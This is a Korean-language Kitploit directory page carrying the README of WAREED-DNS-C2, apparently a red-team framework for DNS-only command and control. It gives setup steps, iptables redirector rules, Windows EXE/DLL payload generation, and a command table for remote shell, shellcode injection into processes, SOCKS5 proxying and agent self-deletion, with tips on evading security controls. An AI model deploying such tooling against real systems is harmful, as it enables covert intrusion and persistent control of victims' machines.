Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WAREED-DNS-C2 — DNS 전용 C2(명령 및 제어) 프레임워크로, Windows 에이전트, 페이로드 생성, 원격 셸 실행, 셸코드 주입, 그리고 은밀한 작전을 위한 SOCKS5 프록시 지원을 포함합니다. | Kitploit
도구/GitHubGitHub/faisal-p27/wareed-dns-c2
Payload GenerationIDS/IPS EvasionPost-ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

DNS 전용 C2(명령 및 제어) 프레임워크로, Windows 에이전트, 페이로드 생성, 원격 셸 실행, 셸코드 주입, 그리고 은밀한 작전을 위한 SOCKS5 프록시 지원을 포함합니다.

저장소 보기
126341년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Wareed DNS C2

enter image description here

WAREED는 서버와 대상 간의 보안 통신을 위해 DNS 프로토콜을 활용하는 Command and Control(C2)입니다. 통신을 최소화하고 데이터 교환을 제한하도록 설계되었으며, HTTP/HTTPS를 통한 인터넷 접근이 불가능하지만 DNS가 허용되는 머신에 지속성을 유지하기 위한 1차 C2(first-stage C2)로 사용됩니다.

개발자 : @Fsalabduljabbar

작동 방식

enter image description here

Wareed를 선택한 이유

많은 Command and Control(C2) 프레임워크가 DNS를 전송 프로토콜로 지원하지만, 대부분은 HTTP/HTTPS를 위해 설계되었습니다. 이러한 프레임워크를 DNS로 전환하면 종종 더 느리고 불안정한 작동이 발생합니다. DNS 트랜잭션에서 이러한 프레임워크의 불안정성으로 인한 수많은 문제에 직면한 저는 DNS에 특화된 솔루션을 만들 수밖에 없었습니다. 그 결과가 바로 DNS 전용 C2 프레임워크인 Wareed입니다. 이러한 특화된 초점 덕분에 더 안정적이고 효율적인 작동이 가능하며, 주로 DNS용으로 설계되지 않은 기존 C2 프레임워크와 비교하여 Wareed는 더 빠르고 신뢰할 수 있습니다. 이로 인해 Wareed는 DNS 트래픽은 허용되지만 HTTP/HTTPS가 제한된 환경에서 이상적인 선택이 됩니다.

소개

세 가지 프로그래밍 언어로 개발되었습니다:

  1. C 언어로 작성된 Hams Agent
  2. Golang으로 작성된 Wareed Team server
  3. C++로 작성된 Ather Client GUI

이름 설명:

**Hams (همس)**는 아랍어로 "속삭임(whisper)"을 의미합니다

**Wareed (وريد)**는 아랍어로 "정맥(vein)"을 의미합니다

**Ather (أثر)**는 아랍어로 "흔적(trace)"을 의미합니다

데모

IMAGE ALT TEXT HERE

사전 요구 사항

  1. 유효하고 제어할 수 있는 도메인 이름
  2. Kali Linux 2023+ 또는 Ubuntu 23+
  3. DNS 연결을 처리할 리다이렉터 1개 (Ubuntu) (선택 사항)

설치

1단계: Wareed 리포지토리를 클론합니다:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

2단계: 설정 스크립트를 실행합니다:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

컴파일 과정이 성공적으로 완료되면 같은 디렉터리에 두 개의 실행 파일이 생성됩니다:

  • WareedServer: 팀 서버용 실행 파일 역할을 합니다
  • Ather: GUI 클라이언트용 실행 파일입니다.

또한 Agent의 컴파일 상태도 확인합니다. 성공하면 Agent가 배포 및 작동 준비가 되었음을 확인하는데, 이는 Wareed C2의 기능에 매우 중요합니다.

구성

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: C2에서 사용하는 고유 식별자입니다.
  • domains: C2가 DNS 통신에 사용하는 도메인 이름 배열입니다.
  • listener_port: DNS 팀 서버가 들어오는 연결을 수신 대기하는 포트 번호입니다.
  • sleep: 작업 요청 사이의 기본 지연 시간입니다.
  • jitter: 슬립 간격에 무작위성을 추가하여 트래픽 패턴을 위장하는 백분율입니다.
  • lookup_delay (비활성화됨): DNS 쿼리 속도를 조절하고 탐지를 피하기 위해 DNS 조회를 수행하기 전의 지연 시간입니다.
  • **default_dns_server **: 로컬 DNS가 응답하지 않을 경우 Agent가 사용하도록 지정된 DNS 서버입니다.

magic_value: 길이는 3과 같아야 합니다.

DNS 인프라

DNS 설정: Wareed를 운영하려면 유효한 도메인 이름이 필수적입니다. 도메인을 확보한 후 리다이렉터를 가리키도록 두 개의 DNS 레코드를 구성해야 합니다:

  1. A 레코드: 리다이렉터의 IP 주소를 가리키도록 설정해야 합니다.
  2. NS 레코드: 앞서 설정한 A 레코드를 가리켜야 합니다.

example

인프라

리다이렉터 설정: 리다이렉터는 포트 53으로 들어오는 DNS 트래픽을 처리하여 팀 서버로 리다이렉트합니다. 이를 위해 리다이렉터 머신(R1)에서 다음 iptables 명령을 실행합니다:

DNS 요청 허용:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

이 명령은 DNS 요청의 표준 포트인 53번 포트로 들어오는 UDP 패킷을 수락하도록 방화벽을 구성합니다.

DNS 트래픽 리다이렉트:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

[TeamServer IP]를 팀 서버의 실제 IP 주소로 바꾸고, [teamserver listener port]를 팀 서버가 수신 대기 중인 포트 번호로 바꾸세요. 이 명령은 포트 53으로 도착하는 모든 트래픽을 지정된 팀 서버의 IP 주소와 포트로 전달합니다.

enter image description here

Wareed 실행

Wareed 팀 서버

Wareed 팀 서버를 처음 시작하려면 구성 파일과 함께 클라이언트 비밀번호 및 클라이언트가 수신 대기할 포트를 지정해야 합니다. 다음 명령을 사용하여 Wareed 팀 서버를 실행합니다:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: 이 자리 표시자를 클라이언트가 서버에 인증하는 데 사용할 비밀번호로 바꾸세요.
  • [Client Port Listener]: 팀 서버가 클라이언트의 들어오는 연결을 수신 대기할 포트 번호로 바꾸세요.
  • [Path to configuration file]: 초기 구성 파일의 전체 경로를 제공하세요. 이후 실행에서는 이 구성이 데이터베이스에서 로드되므로 다시 지정할 필요가 없습니다.

Ather GUI 클라이언트

Ather GUI 클라이언트를 실행하려면 다음을 입력하면 됩니다:

root@kitploit:~
./Ather

명령을 실행하면 로그인 페이지가 있는 새 창이 나타납니다.

enter image description here

로그인 정보: 나타나는 로그인 페이지에서:

  • Username: 사용자 이름을 입력합니다.
  • Password: 팀 서버 명령줄에서 구성한 해당 비밀번호를 입력합니다.
  • Port: 팀 서버 명령줄에서 구성한 대로 팀 서버가 연결을 수신 대기하는 포트 번호를 입력합니다.
  • IPAddress: 팀 서버 주소를 입력합니다.

Wareed 기본 창: enter image description here

새 페이로드 생성

Ather GUI 클라이언트로 새 페이로드를 생성하려면 다음 단계를 따르세요:

  1. 페이로드 생성으로 이동:

    • GUI 클라이언트를 엽니다.
    • 메뉴 바에서 Payload > Generate > Windows로 이동합니다. 이 옵션을 선택하면 페이로드 생성에 맞춰진 새 창이 열립니다.

enter image description here

  1. 페이로드 유형 선택: Wareed는 두 가지 유형의 페이로드 생성을 지원합니다: - EXE: 배포가 간편한 실행 파일 형식입니다. - DLL: 다양한 방식으로 사용할 수 있는 동적 링크 라이브러리입니다. -

DLL 페이로드 옵션:

  1. Export Function: 실행 시 에이전트 기능을 트리거하는 특정 함수가 포함된 DLL을 생성합니다.
  2. Process Attachment: 프로세스에 연결되면 즉시 페이로드를 활성화하는 DLL을 생성합니다.

세션

새 페이로드를 생성하면 새 게스트 세션이 팀 서버에 자동으로 등록됩니다. 이 등록 프로세스는 오직 이 특정 세션만 팀 서버에 연결할 수 있도록 보장합니다. 세션을 인증하고 승인하기 위해 고유 식별자와 'magic value'를 사용합니다. 이 메커니즘은 새로 생성된 페이로드와 팀 서버 간의 안전하고 통제된 통신을 보장합니다. enter image description here

페이로드 실행

Windows 머신에서 페이로드를 실행하면 팀 서버에 등록하기 위해 DNS 쿼리를 생성하기 시작합니다. 이 등록 프로세스는 수 초 내에 이루어지며 일반적으로 3~5개의 DNS 쿼리를 생성합니다. enter image description here

상호 작용

세션과 상호 작용하려면 원하는 세션을 마우스 오른쪽 버튼으로 클릭하고 컨텍스트 메뉴에서 "Interact"를 선택하면 됩니다. 이 작업은 터미널 인터페이스를 갖춘 새 탭을 열며, 이 터미널에서 명령을 실행할 수 있습니다. enter image description here

명령어

참고: inject 명령은 단순하지만 보안 제어에 의해 탐지되는 경우가 많습니다. 은닉성을 높이려면 자체 주입 기술을 구현해야 합니다. Agent/Source/Core/Tasks/Modules/Injection.c의 주입 코드를 수정하세요. 다음은 주입 함수를 사용자 지정하기 위한 기본 템플릿입니다:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Add your injection technique here.
	// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
	// and the process ID in [int ProcessID].
 }

데이터베이스 정리

데이터베이스를 정리하려면 터미널에서 다음 명령을 실행하기만 하면 됩니다:

root@kitploit:~
./Run clean

향후 계획

Wareed 프로젝트에 시간을 계속 투자할 즉각적인 계획은 없지만, 이 프로젝트는 놀라운 학습의 여정이었고 정말 즐겼습니다. 새로운 대형 프로젝트인 THAWD BAS를 시작할 계획임을 기쁘게 알려드립니다. 자세한 내용은 Thawd.io를 방문해 주세요.

개발 능력이 있고 Wareed에 기여하는 데 관심이 있다면 몇 가지 기회가 있습니다:

  1. DNS를 사용한 스테이저 페이로드 개발: @C5pider의 훌륭한 프로젝트가 있는데, 좋은 시작점이 되는 셸코드 템플릿을 제공합니다. GitHub에서 Stardust를 확인해 보세요.
  2. COFF 로더 및 통합 추가: Wareed 프레임워크에 COFF(Common Object File Format) 로더를 통합하면 바이너리 모듈의 동적 로드와 실행이 가능해져 운영 유연성이 크게 향상될 수 있습니다. 이 기능을 구현하려는 개발자에게 Sector7과 같은 리소스는 COFF 로더 기능에 대한 귀중한 통찰력을 제공하며, @C5pider의 오픈소스 프로젝트 CoffeeLdr는 실용적인 구현 예제를 제공합니다.

특별 감사

이 작업은 여러 훌륭한 오픈소스 프로젝트의 기여 없이는 완수할 수 없었습니다:

Havoc 제작 - @C5pider

DNSStager 제작 - @mohammadaskar2

Boomerang 제작 - @NinjaParanoid

Socks5Server 제작 - earthquake

delete-self-poc 제작 - @LloydLabs

도구 다운로드
Command설명사용법예제
help지정된 명령의 도움말 메시지를 표시합니다[명령어]help shell
sleep지터(jitter)와 함께 지연 시간을 설정합니다[지연 시간] [지터]sleep 10 50
shellcmd.exe 명령을 실행하고 출력을 가져옵니다[명령어]shell dir c:\windows\system32 (하지 마세요)
inject원격 프로세스에 셸코드를 주입합니다[pid] [셸코드 경로]inject 1234 /path/to/shellcode.bin
proxystartSOCKS5 프록시를 시작합니다[콜백 호스트] [에이전트 연결 포트] [프록시 리스너 포트]proxystart example.com 443 1080
proxystopSOCKS5 프록시를 중지합니다[콜백 호스트] [에이전트 연결 포트] [프록시 리스너 포트]proxystop example.com 443 1080
adddomain새 콜백 도메인을 추가합니다[도메인 이름]adddomain example.com
deldomain콜백 도메인을 삭제합니다[도메인 이름]deldomain example.com
listdomain모든 활성 콜백 도메인을 나열합니다listdomain
kill현재 프로세스를 종료합니다.[yes]kill yes
wipe현재 프로세스를 종료하고 삭제합니다.[yes]wipe yes
selfdel현재 프로세스를 디스크에서 삭제합니다.[yes]selfdel yes
tasklist대기 중인 모든 작업을 나열합니다tasklist
taskdelID로 특정 작업을 삭제합니다[작업 ID]taskdel 123
tasksclean대기열의 모든 작업을 삭제합니다[yes]tasksclean yes
clear터미널 화면을 지웁니다clear